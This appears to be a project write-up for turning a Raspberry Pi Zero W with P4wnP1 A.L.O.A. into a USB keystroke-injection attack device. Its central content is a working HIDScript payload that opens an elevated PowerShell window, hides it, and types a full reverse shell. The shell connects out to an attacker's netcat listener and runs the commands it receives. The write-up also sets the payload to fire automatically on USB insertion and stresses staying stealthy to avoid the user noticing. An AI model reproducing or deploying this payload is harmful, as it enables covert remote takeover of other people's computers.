This project leverages the P4wnP1 A.L.O.A. framework to create an advanced HID (Human Interface Device) attack device using a Raspberry Pi Zero W. Inspired by various HID attack tools such as Rubber Ducky, Bash Bunny from Hak5, and O.MG cables, this device is capable of performing sophisticated attacks with customizable payloads.
-
Hardware:
- Raspberry Pi Zero W
- USB dongle expansion (e.g., MakerFun USB Expansion Dongle)
- Sandisk Ultra SDHC card (16 GB recommended)
-
Software:
- P4wnP1 A.L.O.A. framework image (Beta version by MaMe82)
- Balena Etcher (for writing the image to the SD card)
- Download the P4wnP1 image.
- Use Balena Etcher to write the image to the SD card.
- Assemble the Raspberry Pi with the USB expansion dongle.
- Insert the SD card into the Raspberry Pi and power it on.
- Connect to the new Wireless Network named
P4wnP1. - Use the default PSK:
MaMe82-P4wnP1.
-
Web Interface:
- Access the configuration dashboard at
http://172.24.0.1:8000/. - Change the Wireless settings (SSID, password) and hide the network.
- Press
Deployto apply changes andStoreto save settings (e.g., name the configurationwifi_settings).
- Access the configuration dashboard at
-
SSH:
- Connect via SSH:
ssh root@172.24.0.1(password:toor). - Change the default root password using the
passwdcommand. - Add keymap input if necessary by placing your keymap file in
/usr/local/P4wnP1/keymaps.
- Connect via SSH:
var locale = "pt"; // Define the keymap
var ip = "192.168.1.13"; // Netcat listener IP Address
var port = 9999; // Netcat listener Port
function hide() {
type("$t = '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(int handle, int state);';add-type -name win -member $t -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);");
press("ENTER");
}
function popshell(ip, port) {
type("$client = New-Object System.Net.Sockets.TCPClient('" + ip + "'," + port +");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\n");
type("while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;");
type("$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);");
type("$sendback = (iex $data 2>&1 | Out-String );");
type("$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';");
type("$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);");
type("$stream.Write($sendbyte,0,$sendbyte.Length);");
type("$stream.Flush()};");
type("$client.Close();");
press("ENTER");
}
// Main script
layout(locale);
typingSpeed(0,0);
press("GUI x");
delay(2000);
press("SHIFT a");
delay(2000)
press("ALT y");
delay(3000);
hide();
delay(2000);
popshell(ip,port);- Copy the script into the Hidscript editor in the P4wnP1 dashboard.
- Save the script as
reverseshell. - Create a Trigger Action to run the script upon USB connection.
- Store the configuration as
usb shell.
- Go to the Generic Settings tab.
- Create a new Master Template combining the Trigger Action (
usb shell), default USB, Bluetooth, Networks template, and the new Wifi template (wifi_settings). - Save the template as
custom_masterand set it as the Startup Template.
- Remove the device from the machine and set up a netcat listener on your machine:
nc -lvp 9999
- Insert the HID attack device into the target machine.
- A remote shell should appear on your terminal.
- Adjust delays in the script based on the target machine's speed.
- Ensure the script runs stealthily to avoid user detection.


